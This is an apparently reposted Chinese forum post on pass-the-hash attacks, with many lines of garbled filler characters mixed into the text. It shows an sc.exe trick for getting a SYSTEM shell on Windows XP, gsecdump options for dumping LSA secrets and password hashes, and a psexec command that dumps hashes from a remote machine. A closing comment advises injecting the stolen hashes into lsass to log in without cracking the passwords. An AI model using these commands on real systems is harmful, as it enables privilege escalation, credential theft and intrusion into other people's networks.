HASH注入式攻击

admin

o get a DOS Prompt as NT system:
; V/ B' r. `8 x. ]" Z  K4 w! Y
( O# M4 L/ Z% @C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
+ {0 m0 @; E8 n2 b: w) Q[SC] CreateService SUCCESS
  R2 ^0 m9 n9 e& h- x8 P2 L
C:\>sc start shellcmdline
8 z2 r7 V. T' a/ z& ]$ k' n- y, K[SC] StartService FAILED 1053:
* L. W, m5 b6 M- g$ L
The service did not respond to the start or control request in a timely fashion.

% M  p5 ^) U7 f& G; fC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
: z. d$ }+ W" d8 {7 a' l
- }3 y: p. p8 h) |" \------------
1 g- T4 _( c$ P4 d
Then in the new DOS window:
( n. S/ {5 R4 }4 |9 X
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
" E* G8 |6 q- A  K. Z* C" P
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

; z+ a  v) ]" N8 e0 AC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
+ Q; o$ S5 l: E# L- u0 x! fusage: gsecdump [options]

  D8 x5 Z8 ], _; Noptions:
1 q1 Q9 F! r- |5 J  Q- J$ t-h [ --help ] show help
* C: n4 P7 N& d2 g, {' U0 v-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
1 N6 ^! p/ g& k6 z! G3 M-w [ --dump_wireless ] dump microsoft wireless connections
1 ^; b( |, @# Z( C" T/ f/ f2 |-u [ --dump_usedhashes ] dump hashes from active logon sessions
3 o$ J+ u5 O: d5 v-s [ --dump_hashes ] dump hashes from SAM/AD
, Y. ^+ F, T- H; l+ z* R0 m+ B
! Y+ Q: k4 g, T  s& ]- AAlthough I like to use:

% R3 _/ d& M2 M6 b) u6 p  LPsExec v1.83 - Execute processes remotely
1 q4 M& D* _, P6 c# G: p/ d. x# P& LCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

+ T7 |  H  q& S$ i; s: _C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

9 W- G* U- M# T, Mto get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

; d! r' I7 w. [0 f9 m提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
; T* T. w% W/ K* ?/ [3 R* y1 I原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
, J( U& ~& h, ?8 u
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
; D2 K% }5 i) Y5 c1 ^. _% S* b) \